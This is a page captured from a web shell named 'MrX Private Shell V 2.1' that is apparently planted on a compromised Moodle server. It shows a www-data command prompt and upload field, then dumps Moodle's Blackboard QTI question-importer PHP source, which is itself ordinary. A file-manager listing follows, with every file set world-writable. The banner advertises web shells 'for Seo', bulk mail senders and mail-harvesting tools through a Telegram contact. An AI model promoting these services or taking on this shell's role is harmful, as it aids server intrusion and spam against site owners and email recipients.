__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * Blackboard V5 and V6 question importer.
 *
 * @package    qformat_blackboard_six
 * @copyright  2005 Michael Penney
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */

defined('MOODLE_INTERNAL') || die();

require_once($CFG->libdir . '/xmlize.php');

/**
 * Blackboard 6.0 question importer.
 *
 * @copyright  2005 Michael Penney
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
class qformat_blackboard_six_qti extends qformat_blackboard_six_base {
    /**
     * Parse the xml document into an array of questions
     * this *could* burn memory - but it won't happen that much
     * so fingers crossed!
     * @param array $text array of lines from the input file.
     * @return array (of objects) questions objects.
     */
    protected function readquestions($text) {

        // This converts xml to big nasty data structure,
        // the 0 means keep white space as it is.
        try {
            $xml = xmlize($text, 0, 'UTF-8', true);
        } catch (xml_format_exception $e) {
            $this->error($e->getMessage(), '');
            return false;
        }

        $questions = array();

        // Treat the assessment title as a category title.
        $this->process_category($xml, $questions);

        // First step : we are only interested in the <item> tags.
        $rawquestions = $this->getpath($xml,
                array('questestinterop', '#', 'assessment', 0, '#', 'section', 0, '#', 'item'),
                array(), false);
        // Each <item> tag contains data related to a single question.
        foreach ($rawquestions as $quest) {
            // Second step : parse each question data into the intermediate
            // rawquestion structure array.
            // Warning : rawquestions are not Moodle questions.
            $question = $this->create_raw_question($quest);
            // Third step : convert a rawquestion into a Moodle question.
            switch($question->qtype) {
                case "Matching":
                    $this->process_matching($question, $questions);
                    break;
                case "Multiple Choice":
                    $this->process_mc($question, $questions);
                    break;
                case "Essay":
                    $this->process_essay($question, $questions);
                    break;
                case "Multiple Answer":
                    $this->process_ma($question, $questions);
                    break;
                case "True/False":
                    $this->process_tf($question, $questions);
                    break;
                case 'Fill in the Blank':
                    $this->process_fblank($question, $questions);
                    break;
                case 'Short Response':
                    $this->process_essay($question, $questions);
                    break;
                default:
                    $this->error(get_string('unknownorunhandledtype', 'question', $question->qtype));
                    break;
            }
        }
        return $questions;
    }

    /**
     * Creates a cleaner object to deal with for processing into Moodle.
     * The object returned is NOT a moodle question object.
     * @param array $quest XML <item> question  data
     * @return object rawquestion
     */
    public function create_raw_question($quest) {

        $rawquestion = new stdClass();
        $rawquestion->qtype = $this->getpath($quest,
                array('#', 'itemmetadata', 0, '#', 'bbmd_questiontype', 0, '#'),
                '', true);
        $rawquestion->id = $this->getpath($quest,
                array('#', 'itemmetadata', 0, '#', 'bbmd_asi_object_id', 0, '#'),
                '', true);
        $presentation = new stdClass();
        $presentation->blocks = $this->getpath($quest,
                array('#', 'presentation', 0, '#', 'flow', 0, '#', 'flow'),
                array(), false);

        foreach ($presentation->blocks as $pblock) {
            $block = new stdClass();
            $block->type = $this->getpath($pblock,
                    array('@', 'class'),
                    '', true);

            switch($block->type) {
                case 'QUESTION_BLOCK':
                    $subblocks = $this->getpath($pblock,
                            array('#', 'flow'),
                            array(), false);
                    foreach ($subblocks as $sblock) {
                        $this->process_block($sblock, $block);
                    }
                    break;

                case 'RESPONSE_BLOCK':
                    $choices = null;
                    switch($rawquestion->qtype) {
                        case 'Matching':
                            $bbsubquestions = $this->getpath($pblock,
                                    array('#', 'flow'),
                                    array(), false);
                            foreach ($bbsubquestions as $bbsubquestion) {
                                $subquestion = new stdClass();
                                $subquestion->ident = $this->getpath($bbsubquestion,
                                        array('#', 'response_lid', 0, '@', 'ident'),
                                        '', true);
                                $this->process_block($this->getpath($bbsubquestion,
                                        array('#', 'flow', 0),
                                        false, false), $subquestion);
                                $bbchoices = $this->getpath($bbsubquestion,
                                        array('#', 'response_lid', 0, '#', 'render_choice', 0,
                                        '#', 'flow_label', 0, '#', 'response_label'),
                                        array(), false);
                                $choices = array();
                                $this->process_choices($bbchoices, $choices);
                                $subquestion->choices = $choices;
                                if (!isset($block->subquestions)) {
                                    $block->subquestions = array();
                                }
                                $block->subquestions[] = $subquestion;
                            }
                            break;
                        case 'Multiple Answer':
                            $bbchoices = $this->getpath($pblock,
                                    array('#', 'response_lid', 0, '#', 'render_choice', 0, '#', 'flow_label'),
                                    array(), false);
                            $choices = array();
                            $this->process_choices($bbchoices, $choices);
                            $block->choices = $choices;
                            break;
                        case 'Essay':
                            // Doesn't apply since the user responds with text input.
                            break;
                        case 'Multiple Choice':
                            $mcchoices = $this->getpath($pblock,
                                    array('#', 'response_lid', 0, '#', 'render_choice', 0, '#', 'flow_label'),
                                    array(), false);
                            foreach ($mcchoices as $mcchoice) {
                                $choices = new stdClass();
                                $choices = $this->process_block($mcchoice, $choices);
                                $block->choices[] = $choices;
                            }
                            break;
                        case 'Short Response':
                            // Do nothing?
                            break;
                        case 'Fill in the Blank':
                            // Do nothing?
                            break;
                        default:
                            $bbchoices = $this->getpath($pblock,
                                    array('#', 'response_lid', 0, '#', 'render_choice', 0, '#',
                                    'flow_label', 0, '#', 'response_label'),
                                    array(), false);
                            $choices = array();
                            $this->process_choices($bbchoices, $choices);
                            $block->choices = $choices;
                    }
                    break;
                case 'RIGHT_MATCH_BLOCK':
                    $matchinganswerset = $this->getpath($pblock,
                            array('#', 'flow'),
                            false, false);

                    $answerset = array();
                    foreach ($matchinganswerset as $answer) {
                        $bbanswer = new stdClass;
                        $bbanswer->text = $this->getpath($answer,
                                array('#', 'flow', 0, '#', 'material', 0, '#', 'mat_extension',
                                0, '#', 'mat_formattedtext', 0, '#'),
                                false, false);
                        $answerset[] = $bbanswer;
                    }
                    $block->matchinganswerset = $answerset;
                    break;
                default:
                    $this->error(get_string('unhandledpresblock', 'qformat_blackboard_six'));
                    break;
            }
            $rawquestion->{$block->type} = $block;
        }

        // Determine response processing.
        // There is a section called 'outcomes' that I don't know what to do with.
        $resprocessing = $this->getpath($quest,
                array('#', 'resprocessing'),
                array(), false);

        $respconditions = $this->getpath($resprocessing[0],
                array('#', 'respcondition'),
                array(), false);
        $responses = array();
        if ($rawquestion->qtype == 'Matching') {
            $this->process_matching_responses($respconditions, $responses);
        } else {
            $this->process_responses($respconditions, $responses);
        }
        $rawquestion->responses = $responses;
        $feedbackset = $this->getpath($quest,
                array('#', 'itemfeedback'),
                array(), false);

        $feedbacks = array();
        $this->process_feedback($feedbackset, $feedbacks);
        $rawquestion->feedback = $feedbacks;
        return $rawquestion;
    }

    /**
     * Helper function to process an XML block into an object.
     * Can call himself recursively if necessary to parse this branch of the XML tree.
     * @param array $curblock XML block to parse
     * @param object $block block already parsed so far
     * @return object $block parsed
     */
    public function process_block($curblock, $block) {

        $curtype = $this->getpath($curblock,
                array('@', 'class'),
                '', true);

        switch($curtype) {
            case 'FORMATTED_TEXT_BLOCK':
                $text = $this->getpath($curblock,
                        array('#', 'material', 0, '#', 'mat_extension', 0, '#', 'mat_formattedtext', 0, '#'),
                        '', true);
                $block->text = $this->strip_applet_tags_get_mathml($text);
                break;
            case 'FILE_BLOCK':
                $block->filename = $this->getpath($curblock,
                        array('#', 'material', 0, '#'),
                        '', true);
                if ($block->filename != '') {
                    // TODO : determine what to do with the file's content.
                    $this->error(get_string('filenothandled', 'qformat_blackboard_six', $block->filename));
                }
                break;
            case 'Block':
                if ($this->getpath($curblock,
                        array('#', 'material', 0, '#', 'mattext'),
                        false, false)) {
                    $block->text = $this->getpath($curblock,
                            array('#', 'material', 0, '#', 'mattext', 0, '#'),
                            '', true);
                } else if ($this->getpath($curblock,
                        array('#', 'material', 0, '#', 'mat_extension', 0, '#', 'mat_formattedtext'),
                        false, false)) {
                    $block->text = $this->getpath($curblock,
                            array('#', 'material', 0, '#', 'mat_extension', 0, '#', 'mat_formattedtext', 0, '#'),
                            '', true);
                } else if ($this->getpath($curblock,
                        array('#', 'response_label'),
                        false, false)) {
                    // This is a response label block.
                    $subblocks = $this->getpath($curblock,
                            array('#', 'response_label', 0),
                            array(), false);
                    if (!isset($block->ident)) {

                        if ($this->getpath($subblocks,
                                array('@', 'ident'), '', true)) {
                            $block->ident = $this->getpath($subblocks,
                                array('@', 'ident'), '', true);
                        }
                    }
                    foreach ($this->getpath($subblocks,
                            array('#', 'flow_mat'), array(), false) as $subblock) {
                        $this->process_block($subblock, $block);
                    }
                } else {
                    if ($this->getpath($curblock,
                                array('#', 'flow_mat'), false, false)
                            || $this->getpath($curblock,
                                array('#', 'flow'), false, false)) {
                        if ($this->getpath($curblock,
                                array('#', 'flow_mat'), false, false)) {
                            $subblocks = $this->getpath($curblock,
                                    array('#', 'flow_mat'), array(), false);
                        } else if ($this->getpath($curblock,
                                array('#', 'flow'), false, false)) {
                            $subblocks = $this->getpath($curblock,
                                    array('#', 'flow'), array(), false);
                        }
                        foreach ($subblocks as $sblock) {
                            // This will recursively grab the sub blocks which should be of one of the other types.
                            $this->process_block($sblock, $block);
                        }
                    }
                }
                break;
            case 'LINK_BLOCK':
                // Not sure how this should be included?
                $link = $this->getpath($curblock,
                            array('#', 'material', 0, '#', 'mattext', 0, '@', 'uri'), '', true);
                if (!empty($link)) {
                    $block->link = $link;
                } else {
                    $block->link = '';
                }
                break;
        }
        return $block;
    }

    /**
     * Preprocess XML blocks containing data for questions' choices.
     * Called by {@link create_raw_question()}
     * for matching, multichoice and fill in the blank questions.
     * @param array $bbchoices XML block to parse
     * @param array $choices array of choices suitable for a rawquestion.
     */
    protected function process_choices($bbchoices, &$choices) {
        foreach ($bbchoices as $choice) {
            if ($this->getpath($choice,
                    array('@', 'ident'), '', true)) {
                $curchoice = $this->getpath($choice,
                        array('@', 'ident'), '', true);
            } else { // For multiple answers.
                $curchoice = $this->getpath($choice,
                         array('#', 'response_label', 0), array(), false);
            }
            if ($this->getpath($choice,
                    array('#', 'flow_mat', 0), false, false)) { // For multiple answers.
                $curblock = $this->getpath($choice,
                    array('#', 'flow_mat', 0), false, false);
                // Reset $curchoice to new stdClass because process_block is expecting an object
                // for the second argument and not a string,
                // which is what is was set as originally - CT 8/7/06.
                $curchoice = new stdClass();
                $this->process_block($curblock, $curchoice);
            } else if ($this->getpath($choice,
                    array('#', 'response_label'), false, false)) {
                // Reset $curchoice to new stdClass because process_block is expecting an object
                // for the second argument and not a string,
                // which is what is was set as originally - CT 8/7/06.
                $curchoice = new stdClass();
                $this->process_block($choice, $curchoice);
            }
            $choices[] = $curchoice;
        }
    }

    /**
     * Preprocess XML blocks containing data for subanswers
     * Called by {@link create_raw_question()}
     * for matching questions only.
     * @param array $bbresponses XML block to parse
     * @param array $responses array of responses suitable for a matching rawquestion.
     */
    protected function process_matching_responses($bbresponses, &$responses) {
        foreach ($bbresponses as $bbresponse) {
            $response = new stdClass;
            if ($this->getpath($bbresponse,
                    array('#', 'conditionvar', 0, '#', 'varequal'), false, false)) {
                $response->correct = $this->getpath($bbresponse,
                        array('#', 'conditionvar', 0, '#', 'varequal', 0, '#'), '', true);
                $response->ident = $this->getpath($bbresponse,
                        array('#', 'conditionvar', 0, '#', 'varequal', 0, '@', 'respident'), '', true);
            }
            // Suppressed an else block because if the above if condition is false,
            // the question is not necessary a broken one, most of the time it's an <other> tag.

            $response->feedback = $this->getpath($bbresponse,
                    array('#', 'displayfeedback', 0, '@', 'linkrefid'), '', true);
            $responses[] = $response;
        }
    }

    /**
     * Preprocess XML blocks containing data for responses processing.
     * Called by {@link create_raw_question()}
     * for all questions types.
     * @param array $bbresponses XML block to parse
     * @param array $responses array of responses suitable for a rawquestion.
     */
    protected function process_responses($bbresponses, &$responses) {
        foreach ($bbresponses as $bbresponse) {
            $response = new stdClass();
            if ($this->getpath($bbresponse,
                    array('@', 'title'), '', true)) {
                $response->title = $this->getpath($bbresponse,
                        array('@', 'title'), '', true);
            } else {
                $response->title = $this->getpath($bbresponse,
                        array('#', 'displayfeedback', 0, '@', 'linkrefid'), '', true);
            }
            $response->ident = array();
            if ($this->getpath($bbresponse,
                    array('#', 'conditionvar', 0, '#'), false, false)) {
                $response->ident[0] = $this->getpath($bbresponse,
                        array('#', 'conditionvar', 0, '#'), array(), false);
            } else if ($this->getpath($bbresponse,
                    array('#', 'conditionvar', 0, '#', 'other', 0, '#'), false, false)) {
                $response->ident[0] = $this->getpath($bbresponse,
                        array('#', 'conditionvar', 0, '#', 'other', 0, '#'), array(), false);
            }
            if ($this->getpath($bbresponse,
                    array('#', 'conditionvar', 0, '#', 'and'), false, false)) {
                $responseset = $this->getpath($bbresponse,
                    array('#', 'conditionvar', 0, '#', 'and'), array(), false);
                foreach ($responseset as $rs) {
                    $response->ident[] = $this->getpath($rs, array('#'), array(), false);
                    if (!isset($response->feedback) and $this->getpath($rs, array('@'), false, false)) {
                        $response->feedback = $this->getpath($rs,
                                array('@', 'respident'), '', true);
                    }
                }
            } else {
                $response->feedback = $this->getpath($bbresponse,
                        array('#', 'displayfeedback', 0, '@', 'linkrefid'), '', true);
            }

            // Determine what fraction to give response.
            if ($this->getpath($bbresponse,
                        array('#', 'setvar'), false, false)) {
                switch ($this->getpath($bbresponse,
                        array('#', 'setvar', 0, '#'), false, false)) {
                    case "SCORE.max":
                        $response->fraction = 1;
                        break;
                    default:
                        // I have only seen this being 0 or unset.
                        // There are probably fractional values of SCORE.max, but I'm not sure what they look like.
                        $response->fraction = 0;
                        break;
                }
            } else {
                // Just going to assume this is the case this is probably not correct.
                $response->fraction = 0;
            }

            $responses[] = $response;
        }
    }

    /**
     * Preprocess XML blocks containing data for responses feedbacks.
     * Called by {@link create_raw_question()}
     * for all questions types.
     * @param array $feedbackset XML block to parse
     * @param array $feedbacks array of feedbacks suitable for a rawquestion.
     */
    public function process_feedback($feedbackset, &$feedbacks) {
        foreach ($feedbackset as $bbfeedback) {
            $feedback = new stdClass();
            $feedback->ident = $this->getpath($bbfeedback,
                    array('@', 'ident'), '', true);
            $feedback->text = '';
            if ($this->getpath($bbfeedback,
                    array('#', 'flow_mat', 0), false, false)) {
                $this->process_block($this->getpath($bbfeedback,
                        array('#', 'flow_mat', 0), false, false), $feedback);
            } else if ($this->getpath($bbfeedback,
                    array('#', 'solution', 0, '#', 'solutionmaterial', 0, '#', 'flow_mat', 0), false, false)) {
                $this->process_block($this->getpath($bbfeedback,
                        array('#', 'solution', 0, '#', 'solutionmaterial', 0, '#', 'flow_mat', 0), false, false), $feedback);
            }

            $feedbacks[$feedback->ident] = $feedback;
        }
    }

    /**
     * Create common parts of question
     * @param object $quest rawquestion
     * @return object Moodle question.
     */
    public function process_common($quest) {
        $question = $this->defaultquestion();
        $text = $quest->QUESTION_BLOCK->text;
        $questiontext = $this->cleaned_text_field($text);
        $question->questiontext = $questiontext['text'];
        $question->questiontextformat = $questiontext['format']; // Needed because add_blank_combined_feedback uses it.
        if (isset($questiontext['itemid'])) {
            $question->questiontextitemid = $questiontext['itemid'];
        }
        $question->name = $this->create_default_question_name($question->questiontext,
                get_string('defaultname', 'qformat_blackboard_six' , $quest->id));
        $question->generalfeedback = '';
        $question->generalfeedbackformat = FORMAT_HTML;
        $question->generalfeedbackfiles = array();

        return $question;
    }

    /**
     * Process True / False Questions
     * Parse a truefalse rawquestion and add the result
     * to the array of questions already parsed.
     * @param object $quest rawquestion
     * @param array $questions array of Moodle questions already done
     */
    protected function process_tf($quest, &$questions) {
        $question = $this->process_common($quest);

        $question->qtype = 'truefalse';
        $question->single = 1; // Only one answer is allowed.
        $question->penalty = 1; // Penalty = 1 for truefalse questions.
        // 0th [response] is the correct answer.
        $responses = $quest->responses;
        $correctresponse = $this->getpath($responses[0]->ident[0],
                array('varequal', 0, '#'), '', true);
        if ($correctresponse != 'false') {
            $correct = true;
        } else {
            $correct = false;
        }
        $fback = new stdClass();

        foreach ($quest->feedback as $fb) {
            $fback->{$fb->ident} = $fb->text;
        }

        if ($correct) {  // True is correct.
            $question->answer = 1;
            $question->feedbacktrue = $this->cleaned_text_field($fback->correct);
            $question->feedbackfalse = $this->cleaned_text_field($fback->incorrect);
        } else {  // False is correct.
            $question->answer = 0;
            $question->feedbacktrue = $this->cleaned_text_field($fback->incorrect);
            $question->feedbackfalse = $this->cleaned_text_field($fback->correct);
        }
        $question->correctanswer = $question->answer;
        $questions[] = $question;
    }

    /**
     * Process Fill in the Blank Questions
     * Parse a fillintheblank rawquestion and add the result
     * to the array of questions already parsed.
     * @param object $quest rawquestion
     * @param array $questions array of Moodle questions already done.
     */
    protected function process_fblank($quest, &$questions) {
        $question = $this->process_common($quest);
        $question->qtype = 'shortanswer';
        $question->usecase = 0; // Ignore case.

        $answers = array();
        $fractions = array();
        $feedbacks = array();

        // Extract the feedback.
        $feedback = array();
        foreach ($quest->feedback as $fback) {
            if (isset($fback->ident)) {
                if ($fback->ident == 'correct' || $fback->ident == 'incorrect') {
                    $feedback[$fback->ident] = $fback->text;
                }
            }
        }

        foreach ($quest->responses as $response) {
            if (isset($response->title)) {
                if ($this->getpath($response->ident[0],
                        array('varequal', 0, '#'), false, false)) {
                    // For BB Fill in the Blank, only interested in correct answers.
                    if ($response->feedback = 'correct') {
                        $answers[] = $this->getpath($response->ident[0],
                                array('varequal', 0, '#'), '', true);
                        $fractions[] = 1;
                        if (isset($feedback['correct'])) {
                            $feedbacks[] = $this->cleaned_text_field($feedback['correct']);
                        } else {
                            $feedbacks[] = $this->text_field('');
                        }
                    }
                }

            }
        }

        // Adding catchall to so that students can see feedback for incorrect answers when they enter something,
        // the instructor did not enter.
        $answers[] = '*';
        $fractions[] = 0;
        if (isset($feedback['incorrect'])) {
            $feedbacks[] = $this->cleaned_text_field($feedback['incorrect']);
        } else {
            $feedbacks[] = $this->text_field('');
        }

        $question->answer = $answers;
        $question->fraction = $fractions;
        $question->feedback = $feedbacks; // Changed to assign $feedbacks to $question->feedback instead of.

        if (!empty($question)) {
            $questions[] = $question;
        }

    }

    /**
     * Process Multichoice Questions
     * Parse a multichoice single answer rawquestion and add the result
     * to the array of questions already parsed.
     * @param object $quest rawquestion
     * @param array $questions array of Moodle questions already done.
     */
    protected function process_mc($quest, &$questions) {
        $question = $this->process_common($quest);
        $question->qtype = 'multichoice';
        $question = $this->add_blank_combined_feedback($question);
        $question->single = 1;
        $feedback = array();
        foreach ($quest->feedback as $fback) {
            $feedback[$fback->ident] = $fback->text;
        }

        foreach ($quest->responses as $response) {
            if (isset($response->title)) {
                if ($response->title == 'correct') {
                    // Only one answer possible for this qtype so first index is correct answer.
                    $correct = $this->getpath($response->ident[0],
                            array('varequal', 0, '#'), '', true);
                }
            } else {
                // Fallback method for when the title is not set.
                if ($response->feedback == 'correct') {
                    // Only one answer possible for this qtype so first index is correct answer.
                    $correct = $this->getpath($response->ident[0],
                            array('varequal', 0, '#'), '', true);
                }
            }
        }

        $i = 0;
        foreach ($quest->RESPONSE_BLOCK->choices as $response) {
            $question->answer[$i] = $this->cleaned_text_field($response->text);
            if ($correct == $response->ident) {
                $question->fraction[$i] = 1;
                // This is a bit of a hack to catch the feedback... first we see if a  'specific'
                // feedback for this response exists, then if a 'correct' feedback exists.

                if (!empty($feedback[$response->ident]) ) {
                    $question->feedback[$i] = $this->cleaned_text_field($feedback[$response->ident]);
                } else if (!empty($feedback['correct'])) {
                    $question->feedback[$i] = $this->cleaned_text_field($feedback['correct']);
                } else if (!empty($feedback[$i])) {
                    $question->feedback[$i] = $this->cleaned_text_field($feedback[$i]);
                } else {
                    $question->feedback[$i] = $this->cleaned_text_field(get_string('correct', 'question'));
                }
            } else {
                $question->fraction[$i] = 0;
                if (!empty($feedback[$response->ident]) ) {
                    $question->feedback[$i] = $this->cleaned_text_field($feedback[$response->ident]);
                } else if (!empty($feedback['incorrect'])) {
                    $question->feedback[$i] = $this->cleaned_text_field($feedback['incorrect']);
                } else if (!empty($feedback[$i])) {
                    $question->feedback[$i] = $this->cleaned_text_field($feedback[$i]);
                } else {
                    $question->feedback[$i] = $this->cleaned_text_field(get_string('incorrect', 'question'));
                }
            }
            $i++;
        }

        if (!empty($question)) {
            $questions[] = $question;
        }
    }

    /**
     * Process Multiple Choice Questions With Multiple Answers.
     * Parse a multichoice multianswer rawquestion and add the result
     * to the array of questions already parsed.
     * @param object $quest rawquestion
     * @param array $questions array of Moodle questions already done.
     */
    public function process_ma($quest, &$questions) {
        $question = $this->process_common($quest);
        $question->qtype = 'multichoice';
        $question = $this->add_blank_combined_feedback($question);
        $question->single = 0; // More than one answer allowed.

        $answers = $quest->responses;
        $correctanswers = array();
        foreach ($answers as $answer) {
            if ($answer->title == 'correct') {
                $answerset = $this->getpath($answer->ident[0],
                        array('and', 0, '#', 'varequal'), array(), false);
                foreach ($answerset as $ans) {
                    $correctanswers[] = $ans['#'];
                }
            }
        }
        $feedback = new stdClass();
        foreach ($quest->feedback as $fb) {
            $feedback->{$fb->ident} = trim($fb->text);
        }

        $correctanswercount = count($correctanswers);
        $fraction = 1 / $correctanswercount;
        $choiceset = $quest->RESPONSE_BLOCK->choices;
        $i = 0;
        foreach ($choiceset as $choice) {
            $question->answer[$i] = $this->cleaned_text_field(trim($choice->text));
            if (in_array($choice->ident, $correctanswers)) {
                // Correct answer.
                $question->fraction[$i] = $fraction;
                $question->feedback[$i] = $this->cleaned_text_field($feedback->correct);
            } else {
                // Wrong answer.
                $question->fraction[$i] = 0;
                $question->feedback[$i] = $this->cleaned_text_field($feedback->incorrect);
            }
            $i++;
        }

        $questions[] = $question;
    }

    /**
     * Process Essay Questions
     * Parse an essay rawquestion and add the result
     * to the array of questions already parsed.
     * @param object $quest rawquestion
     * @param array $questions array of Moodle questions already done.
     */
    public function process_essay($quest, &$questions) {

        $question = $this->process_common($quest);
        $question->qtype = 'essay';

        $question->feedback = array();
        // Not sure where to get the correct answer from?
        foreach ($quest->feedback as $feedback) {
            // Added this code to put the possible solution that the
            // instructor gives as the Moodle answer for an essay question.
            if ($feedback->ident == 'solution') {
                $question->graderinfo = $this->cleaned_text_field($feedback->text);
            }
        }
        // Added because essay/questiontype.php:save_question_option is expecting a
        // fraction property - CT 8/10/06.
        $question->fraction[] = 1;
        $question->defaultmark = 1;
        $question->responseformat = 'editor';
        $question->responserequired = 1;
        $question->responsefieldlines = 15;
        $question->attachments = 0;
        $question->attachmentsrequired = 0;
        $question->responsetemplate = $this->text_field('');

        $questions[] = $question;
    }

    /**
     * Process Matching Questions
     * Parse a matching rawquestion and add the result
     * to the array of questions already parsed.
     * @param object $quest rawquestion
     * @param array $questions array of Moodle questions already done.
     */
    public function process_matching($quest, &$questions) {

        // Blackboard matching questions can't be imported in core Moodle without a loss in data,
        // as core match question don't allow HTML in subanswers. The contributed ddmatch
        // question type support HTML in subanswers.
        // The ddmatch question type is not part of core, so we need to check if it is defined.
        $ddmatchisinstalled = question_bank::is_qtype_installed('ddmatch');

        $question = $this->process_common($quest);
        $question = $this->add_blank_combined_feedback($question);
        $question->valid = true;
        if ($ddmatchisinstalled) {
            $question->qtype = 'ddmatch';
        } else {
            $question->qtype = 'match';
        }
        // Construction of the array holding mappings between subanswers and subquestions.
        foreach ($quest->RESPONSE_BLOCK->subquestions as $qid => $subq) {
            foreach ($quest->responses as $rid => $resp) {
                if (isset($resp->ident) && $resp->ident == $subq->ident) {
                    $correct = $resp->correct;
                }
            }

            foreach ($subq->choices as $cid => $choice) {
                if ($choice == $correct) {
                    $mappings[$subq->ident] = $cid;
                }
            }
        }

        foreach ($subq->choices as $choiceid => $choice) {
            $subanswertext = $quest->RIGHT_MATCH_BLOCK->matchinganswerset[$choiceid]->text;
            if ($ddmatchisinstalled) {
                $subanswer = $this->cleaned_text_field($subanswertext);
            } else {
                $subanswertext = html_to_text($this->cleaninput($subanswertext), 0);
                $subanswer = $subanswertext;
            }

            if ($subanswertext != '') { // Only import non empty subanswers.
                $subquestion = '';

                $fiber = moodle_array_keys_filter($mappings, $choiceid);
                foreach ($fiber as $correctanswerid) {
                    // We have found a correspondance for this subanswer so we need to take the associated subquestion.
                    foreach ($quest->RESPONSE_BLOCK->subquestions as $qid => $subq) {
                        $currentsubqid = $subq->ident;
                        if (strcmp ($currentsubqid, $correctanswerid) == 0) {
                            $subquestion = $subq->text;
                            break;
                        }
                    }
                    $question->subquestions[] = $this->cleaned_text_field($subquestion);
                    $question->subanswers[] = $subanswer;
                }

                if ($subquestion == '') { // Then in this case, $choice is a distractor.
                    $question->subquestions[] = $this->text_field('');
                    $question->subanswers[] = $subanswer;
                }
            }
        }

        // Verify that this matching question has enough subquestions and subanswers.
        $subquestioncount = 0;
        $subanswercount = 0;
        $subanswers = $question->subanswers;
        foreach ($question->subquestions as $key => $subquestion) {
            $subquestion = $subquestion['text'];
            $subanswer = $subanswers[$key];
            if ($subquestion != '') {
                $subquestioncount++;
            }
            $subanswercount++;
        }
        if ($subquestioncount < 2 || $subanswercount < 3) {
                $this->error(get_string('notenoughtsubans', 'qformat_blackboard_six', $question->questiontext));
        } else {
            $questions[] = $question;
        }
    }

    /**
     * Add a category question entry based on the assessment title
     * @param array $xml the xml tree
     * @param array $questions the questions already parsed
     */
    public function process_category($xml, &$questions) {
        $title = $this->getpath($xml, array('questestinterop', '#', 'assessment', 0, '@', 'title'), '', true);

        $dummyquestion = new stdClass();
        $dummyquestion->qtype = 'category';
        $dummyquestion->category = $this->cleaninput($this->clean_question_name($title));

        $questions[] = $dummyquestion;
    }

    /**
     * Strip the applet tag used by Blackboard to render mathml formulas,
     * keeping the mathml tag.
     * @param string $string
     * @return string
     */
    public function strip_applet_tags_get_mathml($string) {
        if (stristr($string, '</APPLET>') === false) {
            return $string;
        } else {
            // Strip all applet tags keeping stuff before/after and inbetween (if mathml) them.
            while (stristr($string, '</APPLET>') !== false) {
                preg_match("/(.*)\<applet.*value=\"(\<math\>.*\<\/math\>)\".*\<\/applet\>(.*)/i", $string, $mathmls);
                $string = $mathmls[1].$mathmls[2].$mathmls[3];
            }
            return $string;
        }
    }

}

Filemanager

Name Type Size Permission Actions
classes Folder 0777
lang Folder 0777
tests Folder 0777
format.php File 8.89 KB 0777
formatbase.php File 5.61 KB 0777
formatpool.php File 20.42 KB 0777
formatqti.php File 39.5 KB 0777
version.php File 1.09 KB 0777
Filemanager